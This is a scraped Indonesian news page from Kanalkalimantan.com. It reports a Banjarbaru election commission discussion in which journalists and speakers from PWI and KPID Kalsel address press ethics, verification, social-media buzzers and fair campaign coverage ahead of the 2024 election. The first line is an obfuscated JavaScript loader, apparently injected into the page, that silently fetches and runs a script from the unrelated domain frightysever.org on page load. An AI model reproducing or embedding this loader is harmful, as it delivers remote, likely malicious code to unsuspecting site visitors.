(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ikut sukseskan Pemilihan Umum (Pemilu) 2024, puluhan jurnalis dari berbagai media cetak, media siber, dan elektronik di Kota Banjarbaru menggelar diskusi bareng, Senin (11/12/2023) malam.
Sebanyak 50 peserta jurnalis disatukan dalam diskusi bersama dua pemateri Toto Fachrudin dari Persatuan Wartawan Indonesia (PWI) Kalsel dan Fadli Rizki dari Komisi Penyiaran Indonesia Daerah (KPID) Kalsel.
Mereka membahas pembangunan sinergi untuk meningkatkan partisipasi masyarakat dalam penyelenggaraan Pemilu 2024. Diskusi awak media massa ini diselenggarakan Komisi Pemilihan Umum (KPU) Kota Banjarbaru.
Pembahasan itu tertuang dalam tajuk acara yakni “Peran Jurnalis dan Media Massa untuk Suksesnya Penyelenggaraan Pemilihan Umum tahun 2024 di Kota Banjarbaru”.
Baca juga: Tanpa Calo, Ini 6 Layanan Publik Gratis di MPP Baiman Banjarmasin
Di tahun politik seperti sekarang, Toto Fachrudin menyikapi keberadaan jurnalis yang tak berpegang teguh dengan kode etik, hingga kepada fenomena maraknya buzzer di media sosial.
Melihat hal tersebut, Toto mengungkapkan bahwa politik di tahun 2024 akan nampak memberikan perbedaan besar dibanding dengan politik tahun-tahun sebelumnya.
“Karena tentu kita memahami di tahun 2024 bakal berbeda dengan politik sebelumnya. Tentunya jurnalis media massa hadir dengan fungsi utama adalah verifikasi, sebab tidak bisa semua orang termasuk semua konten creator melakukan verifikasi kepada KPU, Bawaslu, masyarakat maupun penyelenggara Pemilu, sekalipun itu Gubernur,” ucap Toto pada acara yang berlangsung di Hotel Grand Qin Banjarbaru.
Menjadi penting, kata dia, bagi seorang jurnalis dalam menjalankan tugas dengan selalu melaksanakan pemberitaan dengan standar-standar kode etik yang berlaku.
Baca juga: Proyek Embung Gunung Kupang Baru 73,55%, Kontrak Diperpanjang Sampai 30 Desember 2023
“Jangan sampai anda (jurnalis) berada dalam suatu kondisi yang memuat anda bertanggung jawab atas tulisan yang tak terverifikasi, itu salah satu gambar anda tidak berpijak dan berpegang teguh pada prinsip kode etik,” tegas dia.
Sementara itu, Fadli Rizki dari KPID Kalsel menyampaikan terkait tugas kewenangan KPI maupun KPID terkait iklan media massa yang dijadwalkan sudah bisa dilakukan Caleg pada 25 Januari hingga 10 Februari 2023.
Pada siaran pemberitaan itu, dia menjelaskan bahwa penting bagi jurnalis di lembaga penyiaran untuk memberikan alokasi yang sama.
Baca juga: Truk Bermuatan Crane Terjebak di Jembatan, Satu Lajur Jalan Kolonel Sugiono Ditutup
Pada waktu ataupun pemberitaan setiap kali tayang, jurnalis diminta tidak melakukan untuk pemberitaan berlebihan kepada peserta Pemilu tertentu.
Di samping itu ia turut menjelaskan terkait metode pengawasan KPID di Kota Banjarbaru, bahwa pihaknya telah menyediakan dua cara untuk memantau langsung rekaman siaran khususnya lembaga penyiaran lokal.
“Yang mana kita punya alat monitor yang bisa memantau 7/24 jam, setiap harinya kita memiliki rekaman hasil siaran khususnya lembaga penyiaran lokal, apabila ada laporan maupun temuan tim monitoring akan kita buka kembali, dan kita teliti apakah mengandung jumlah pelanggaran dan lain-lain, serta melalui pengaduan masyarakat kita membuka seluruh ruang segalanya,” jelas Fadli Rizki.
Saat diskusi, Ketua KPU Kota Banjarbaru Rozy menyampaikan banyak menerima aspirasi dari teman-teman jurnalis.
Salah satunya terkait sulitnya para jurnalis mendapatkan informasi terhadap penyelenggaran Pemilu.
Baca juga: Rugikan Negara Rp188 Juta, Mantan Kades di Tapin Dituntut 15 Bulan Penjara
“Kami minta teman-teman media turut memanfaatkan grup WA untuk berkoordinasi bersama KPU, mudahan-mudahan grup itu nanti kita koordinasi apabila ada informasi terkait tahapan maupun logistik, kita bisa sampaikan secara satu pintu,” kata dia.
Ketua KPU Banjarbaru menekankan agar para jurnalis ikut mensukseskan penyelenggara Pemilu 2024 dengan menerapkan prinsip kode etik yang baik. Sebab kata dia, Pemilu yang berkualitas akan menghasilkan pemimpin yang baik.
“Tentunya dari sisi pemberitaan yang baik, sekaligus akan mensosialisasi dan mengedukasi masyarakat,” pungkas Rozy. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.